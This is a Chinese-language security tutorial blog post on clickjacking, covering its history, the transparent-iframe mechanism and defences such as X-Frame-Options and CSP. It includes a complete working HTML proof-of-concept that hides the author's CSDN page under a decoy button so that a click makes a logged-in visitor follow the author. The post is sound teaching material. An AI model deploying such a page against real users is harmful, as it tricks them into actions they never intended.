简介
2008年,安全专家Robert Hansen 与Jeremiah Grossman发现了一种被他们称为点击劫持(ClickJacking)的攻击。他们准备在OWASP安全大会上公布并进行演示,但是由于很多平台都中了招,包括Adobe在内的厂商要求在漏洞修补前不要公开此问题。
原理
点击劫持是视觉欺骗,用户只看到了底层页面,与页面进行交互时却是与上层页面在交互。这是由于透明的iframe造成的,通过控制iframe的位置,导致上层页面的按钮等覆盖到下层上。
点击劫持,原理示意图
注:红色按钮(上层页面中的)应该是完全覆盖在黄色按钮(底层页面中的),由于看的不是很清楚,我稍微错位了一下。
攻击
<html> <head> <title> 来和鹿鸣Lumi互动吧!!! </title> <head> <style> iframe { width: 1440px; height: 900px; position: absolute; top: 30px; left: 450px; z-index: 2; -moz-opacity: 0; opacity: 0; filter: alpha(opacity=0); } </style> </head> </head> <body> <center> <div> <img src="https://ss1.bdstatic.com/70cFvXSh_Q1YnxGkpoWK1HF6hhy/it/u=1242777858,3501957407&fm=11&gp=0.jpg" height="60%"> <br> <button>点击进行互动</button> </div> </center> <iframe src="https://blog.csdn.net/lady_killer9" scrolling="no"></iframe> </body> </html>
opacity为0.5,即上层页面为半透明状态。
opacity为0.5时
可以看到关注按钮覆盖在了下方的点击进行互动按钮上。
opacity为0时
此时,上层页面完全无法看见,这时如果你登录csdn后点击"点击进行互动"按钮,就会关注我。
防御
frame busting
js编写的,防御效果不好,可绕过。
X-Frame-Options
部分浏览器支持
DENY:禁止iframe,浏览器拒绝当前页面加载任何iframe页面。
SAMEORIGIN:只允许相同域名下的网页iframe,同源政策保护。
ALLOW-FROM: 白名单限制。
Content Security Policy
"网页安全政策"(Content Security Policy,缩写 CSP),一种白名单制度。
NoScript扩展
火狐官方回答
拓展
除了这种点击劫持,还有拖拽劫持,手机端触屏劫持,原理都一样。
参考
《白帽子讲Web安全》
更多内容查看:网络安全-自学笔记
喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。